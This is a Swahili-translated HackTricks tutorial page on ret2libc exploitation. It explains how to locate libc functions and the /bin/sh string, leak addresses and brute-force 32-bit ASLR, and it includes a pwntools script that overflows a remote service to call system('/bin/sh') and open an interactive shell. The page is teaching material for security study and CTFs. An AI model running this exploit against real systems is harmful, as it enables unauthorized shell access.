Ret2lib
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
Kiini cha Ret2Libc ni kuelekeza tena mtiririko wa utekelezaji wa programu iliyo dhaifu kwa function ndani ya shared library (mfano, system, execve, strcpy) badala ya kutekeleza shellcode uliotolewa na mshambuliaji kwenye stack. Mshambuliaji huandaa payload inayobadilisha return address kwenye stack ili kuelekeza kwa function ya maktaba inayotakiwa, huku pia akipanga vigezo vinavyohitajika ili viwe vimewekwa ipasavyo kwa mujibu wa calling convention.
Hatua za Mfano (imefupishwa)
- Pata anwani ya function ya kuitwa (mfano: system) na amri ya kuitwa (mfano: /bin/sh)
- Tengeneza ROP chain ili kupitisha argument ya kwanza inayotaja kwa command string na kuelekeza execution flow kwa function
Kupata Anwani
- Ikiwa
libcinayotumika ni ile ya mashine ya sasa, unaweza kupata wapi itapakiwa kwenye kumbukumbu kwa kutumia:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Ikiwa unataka kuangalia kama ASLR inabadilisha anwani ya libc unaweza kufanya:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Kwa kujua libc inayotumika, pia inawezekana kupata offset ya kazi ya
systemkwa:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Kujua libc inayotumika, pia inawezekana kupata offset ya string
/bin/shkwa:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Kutumia gdb-peda / GEF
Ukijua libc inayotumika, pia inawezekana kutumia Peda au GEF kupata anwani ya kazi ya system, ya kazi ya exit na ya string /bin/sh:
p system
p exit
find "/bin/sh"
Kutumia /proc/<PID>/maps
Ikiwa mchakato unaunda children kila unapozungumza nao (network server) jaribu soma ile faili (huenda utahitaji kuwa root).
Hapa unaweza kupata kabisa wapi libc imepakiwa ndani ya mchakato na wapi itapakiwa kwa kila mchakato mtoto.
.png)
Katika kesi hii imepakiwa katika 0xb75dc000 (Hii itakuwa anwani ya msingi ya libc)
libc isiyojulikana
Inawezekana kwamba hujui libc ambayo binary inachukua (kwa sababu inaweza kuwa kwenye server ambayo huna ufikiaji). Katika hali hiyo unaweza kutumia udhaifu ili leak anwani kadhaa na kubaini ni libc gani inayotumika:
Na unaweza kupata template ya pwntools kwa hili katika:
Tambua libc kwa offsets 2
Angalia ukurasa https://libc.blukat.me/ na tumia anwani chache za functions ndani ya libc ili kubaini toleo linalotumika.
Kukwepa ASLR katika 32 bits
Shambulio hizi za brute-forcing ni za muhimu tu kwa mifumo ya 32bit.
- Ikiwa exploit ni local, unaweza kujaribu brute-force the base address ya libc (faidika kwa mifumo ya 32bit):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Ikiwa unashambulia remote server, unaweza kujaribu burte-force the address of the
libcfunctionusleep, ukimpatia kama argument 10 (kwa mfano). Ikiwa kwa wakati fulani server inachukua sekunde 10 zaidi kujibu, umeipata anuani ya function hii.
One Gadget
Tekeleza shell kwa kuruka tu hadi moja maalum anuani katika libc:
x86 Ret2lib Code Example
Katika mfano huu ASLR brute-force imeunganishwa katika code na vulnerable binary iliyoko kwenye remote server:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Code Example
Angalia mfano kutoka:
ARM64 Ret2lib Example
Katika kesi ya ARM64, agizo la ret huruka mahali ambapo rejista x30 inaonyesha badala ya mahali ambapo rejista ya stack inaonyesha. Kwa hivyo ni ngumu kidogo.
Pia kwa ARM64 agizo hufanya tu kile ambacho agizo kinatakiwa kifanye (haiwezekani kuruka katikati ya maagizo na kugeuza kuwa maagizo mapya).
Tazama mfano kutoka:
Ret-into-printf (or puts)
Hii inaruhusu leak information from the process kwa kuiita printf/puts na data maalum iliyowekwa kama hoja. Kwa mfano, kuweka anwani ya puts katika GOT ndani ya utekelezaji wa puts kutafanya leak the address of puts in memory.
Ret2printf
Hii kwa msingi inamaanisha kutumia vibaya Ret2lib kuibadilisha kuwa udhaifu wa format strings wa printf kwa kutumia ret2lib kuita printf na thamani za kuufaidisha (inaonekana haifai lakini inawezekana):
Other Examples & references
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib: ukipata a leak ya anwani ya function katika libc, kutumia one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR enabled lakini hakuna PIE, hatua ya kwanza ni kujaza overflow hadi byte 0x00 ya canary kisha kuita puts na ku-leak. Ukiwa na canary, ROP gadget inaundwa ili kuita puts ku-leak anwani ya puts kutoka GOT na kisha ROP gadget kuita
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR enabled, hakuna canary, stack overflow katika main kutoka function ndogo. ROP gadget kuita puts ili leak anwani ya puts kutoka GOT kisha kuita one gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, hakuna pie, hakuna canary, hakuna relro, nx. Inatumia write function ku-leak anwani ya write (libc) na kisha kuita one gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Inatumia format string ku-leak canary kutoka stack na buffer overflow kuita system (iko kwenye GOT) kwa anwani ya
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bit, hakuna relro, hakuna canary, nx, pie. Kutumia indekseri mbaya ili leak anwani za libc na heap kutoka stack. Kutumia buffer overflow kufanya ret2lib inayoita
system('/bin/sh')(anwani ya heap inahitajika ku-bypass check).
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


